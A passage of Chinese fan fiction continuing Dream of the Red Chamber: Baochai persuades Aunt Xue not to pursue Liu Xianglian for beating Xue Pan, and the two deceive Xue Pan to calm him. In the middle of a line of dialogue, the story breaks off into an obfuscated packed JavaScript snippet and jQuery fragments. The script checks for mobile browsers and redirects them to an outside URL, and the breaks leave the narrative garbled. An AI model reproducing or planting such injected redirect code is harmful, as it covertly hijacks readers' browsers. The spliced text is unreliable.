薛姨妈听见说没有大碍，也稍稍放了心，可薛蟠脸上伤得实在太过触目惊心，她兀自念佛道：“阿弥陀佛、阿弥陀佛。”又上手想检查薛蟠身上的伤势，到底看一看才放心，薛蟠忙左右遮掩道：“喔哟！使不得！妹妹还在呢！”


    薛姨妈“嗳”了一声，忙缩回手，气道：“都是让你这东西闹的，我也是气昏了头了。”


    宝钗劝道：“大夫既然瞧过了，咱们也不必瞧了，妈看了又怎么样，也医治不得，不过是白白伤心。过会子等药配得了，有香菱替哥哥上了药，内服外敷一起用上，不出几日、自然是好了的。”


    薛姨妈点点头，心里想着要等药来了、自己亲眼见着用上才放心，又愣了片刻神，忽然想起该要追究那打人的凶徒，忙问薛蟠：“一样是赴宴，你不好好地坐着，是跑到哪里去了？叫我们一场好找，是怎生闹得这样？谁害的你，可是遇见匪徒了，看清什么模样没有，可抢了什么去，人走到哪里去了？”


    薛蟠心中虽是有愧，无奈面对母亲催问，也只好吞吞吐吐、半遮半掩地说了，等他把柳湘莲的名字一说出来，宝钗心下了然，薛姨妈则是怒从心起。


    薛姨妈怒道：“原来是他。怪不得是他同你一道儿不见了踪影！好呀，瞧着他斯斯文文的样子，没想到都是假装的，原来他是这样的虎狼心肠、一心要谋财害命！光天化日逞凶伤人，把人打成这样，还有个王法么。我这就去说与里面，叫人押了他送官去，定要给个说法才是！”


    薛蟠窝囊被打，本来一肚子气，但细论这事，自己首先并不光彩，心里便半羞半愧，但现在有母亲愿意为他一力撑腰，他的心态又是不同了。


    他想到姨丈家的势力，又想到舅舅家的声威，他有这样要紧的后台，要想办他一个小小的柳湘莲，岂不是太容易了！


    薛蟠越想越是膨胀，满心要向柳湘莲出口恶气，便也一叠声儿地喊冤喊委屈，满嘴“妈、妈、妈”地将薛姨妈的心都喊得化了，又嚷着要让人去拆柳家的房子，又说要打断他的腿，又要铲人家的祖坟云云。


    宝钗看哥哥在枕上乱拍乱嚷，全不反思自己的荒唐，不由得秀眉紧蹙，待听他说得越来越不像了，摇头劝道：“哥哥如今既然在养伤，也该平心静气些，如何不听那大夫说的——需得‘安静养几日’才好。如此喊打、喊杀的，如何好得快？你若不快快地好了，又要惹妈伤心。”


    薛蟠话音一窒，又心虚地看了一眼薛姨妈，不说话了，只喷着粗气。


    劝过薛蟠，宝钗又将薛姨妈的袖子暗暗一拉，向旁边的丫头道：“我和太太出去处分事情，你只在此服侍着、等菱姑娘回来，这边大爷若要什么东西，只管使人来告诉我们。”


    丫头答应了一声，却垂着手远远地站在床脚。


    薛蟠见了，从床上探着头气恼道：“大爷是外伤，又不是染了疫病，你站那么远作甚么，近前来些儿！大爷要吃茶！”又道：“你给我捶腿！”


    薛姨妈听见，便回头骂他：“消停些罢，你身上香不成，人家是正经的孩子，作甚么要往你身上凑！我若不是你亲娘，我也不理你！”又吩咐丫头：“好孩子，你去倒盏茶他吃，仔细些儿，莫要太烫了，他手上不便利。”


    宝钗又拉了拉她的袖子，薛姨妈一心想着给儿子讨公道，也顾不得管丫头的事，马上跟着女儿来到外间厅上。


    宝钗却不急，让母亲好好坐了，自己劝道：“妈也太着急了。这样闹进去，难道咱们便好看了？哥哥虽将姓柳的人说出来，却始终不曾说出挨打的缘故，这里头只怕还有些咱们不知道的事。便是按下那些事不论，到底也是哥哥吃醉了与人争闹，并不是什么光彩的事罢，妈平日也不想惹人谈论，怎么一遇上哥哥的事便全忘了？”


    薛姨妈听了，也自觉有些失态，便道：“我的儿，你说的也有道理。可你哥哥好端端地叫人打成那个样子，叫我心里如何不急呢，他虽混账，那打人的却一定不对，孰是孰非的，我们也不是仗势欺人，咱们只报官去，让当官的秉公办理也罢了，总有个公道。”


    宝钗叹道：“妈将这事想得太简单了。妈且想想，他们男人在外头吃了酒，拌两句嘴、乃至动起手来的事情，一时也不鲜见，谁对谁错，谁又说得清？咱们说是要‘秉公办理’，可若是咱们真进去说了，外头人瞧着荣国府的面子，不论对错，必然要去发落那人，到时对簿公堂，恐怕也不能听那人的辩解，便只做个‘一边儿倒’也是有的。此事便是咱们占理，少不得也被人说是咱们‘狐假虎威’‘倚势欺人’，哥哥又有‘前科’，到时咱们便是有理，也作没理了。”


    说到这里，宝钗刻意顿了顿，让薛姨妈有工夫把这番话细想一想，接着才道：“连大夫也说了无事，妈听了不觉得出奇？若那人认真要打杀了哥哥，怎么便能只有些皮外的挂彩，内里竟连一些儿也未曾伤着的？可见他下手时便很有些分寸。依我看，那人只怕是想给哥哥些苦头吃，却并不敢、或也不愿害他性命。哥哥平素里那样胡闹，妈苦口婆心地教给他，不让他同那些人来往，他只当耳旁风，他又不似宝玉一般有姨丈管教。如今出了这样的事情，我看倒好，就需得这样从那些人身上认真吃过几回亏去，说不得竟教他慢慢学好了、也是有的，妈又何苦纵着他？”


    薛姨妈听了，果然把心里的气渐渐平了，一面就叹道：“好孩子，你说得极是。嗳，我是着急，一时气得糊涂了，不曾想得周全，还好总有你提着我，这才不曾铸成大错。”


    宝钗只是微微一笑。


    薛姨妈忽又踌躇起来，问道：“可是……咱们若不进去，过会子却是如何对你哥哥说去？他才叫嚷得那般厉害，如今说不去，只怕他不肯依。你也知道，他一吵嚷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150720|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来，我真头疼。”


    宝钗笑道：“这也罢了，哥哥那边最是容易。咱们只说‘已同里面说去了，连姨妈、姨丈都是要与他做主的，可那姓柳的酒醒后害怕，早就跑了，眼下不知藏在何处，一时寻不见，却也不能放过了他，已打发人向城外追去了。’以哥哥的性子，必不会去求证，且他脸上不好看，恐怕这阵子他也不好意思出去的，难道还能认真去寻那姓柳的晦气不成？不过气上一阵也罢了，妈再同香菱两个拿话慢慢转圜着，保管没两日便丢开手了。”


    薛姨妈点头道：“很是、很是，就是这么办，过会子我若说得不好，你再从旁提着我些儿。”


    两人便让丫头送上茶来，吃了一回茶才再进房去。这时香菱已将药送来，外用的还好，内服的却甚苦口，薛蟠喝得龇牙咧嘴的，又要骂人，香菱在旁又哄又劝又递蜜饯，这才罢了。


    见薛姨妈两人进来，倒比什么甜蜜饯都好使，薛蟠也不砸吧嘴了，立即坐直了，问道：“可派人去拿他了？”


    薛姨妈便将宝钗教她的一席话如此这般地说了。


    薛蟠虽然生气，却也不疑一向最疼爱他的母亲竟会拿瞎话哄他。想那柳湘莲为了这事，连家也抛了，像过街老鼠一般慌不择路、避走他乡，路上必然是心惊胆战、颠沛流离，又时刻畏惧有人来追拿他，只怕是连一个安生觉也睡不了的，这比直接打杀了他还让人解气呢。


    薛蟠就似这般添油加醋地想着，一想到柳湘莲那玉面俊容只怕因此就要清减憔悴许多，倒也有些可怜，便也渐渐气消了。


    果然被薛宝钗言中，往后几日薛蟠当真不再执着于寻柳湘莲报仇，且由于当日在泥坑中挣扎的丑态被贾蓉等一干人看去，以贾蓉的性子，自然不会替他保守秘密，他知道这会子贾珍、贾琏等人应该无有不知的，都看他的笑话，他好大没脸，不好意思再往外头厮混，干脆谢绝一切探访和外邀，借着养伤的机会躲在家里。


    他愿意在家、不出去胡闹，便只是安生躺着也罢了，薛姨妈等都是欢喜的。


    他寻常在外头厮混之时，豪掷金银是小事，在青楼楚馆招红惹绿、流连忘返也还罢了，薛姨妈提心吊胆的总是怕他在外头生事，再惹出官司来、不好收场。


    京都之地遍地王孙公子，一级压一级，保不齐便能遇上了得罪不起的主儿，若在这里犯下事来，只怕不再能如冯渊那事一般容易平息过去，且就算是能平息过去，总也太造孽些，不是有福之家的所为。


    薛蟠不在家时，薛姨妈日日拜佛念经求安生，可等这薛蟠真的在家了，薛姨妈却又怕他闷出病来，每日唤他去说话，只愁不知寻个什么事叫他做做才好，宝钗每每回家来，薛姨妈都同她絮絮地说上好久，宝钗却也无奈。


    哥哥四肢健全，想做什么正经事没有，还要出不得门的母亲和妹妹帮忙想出路么？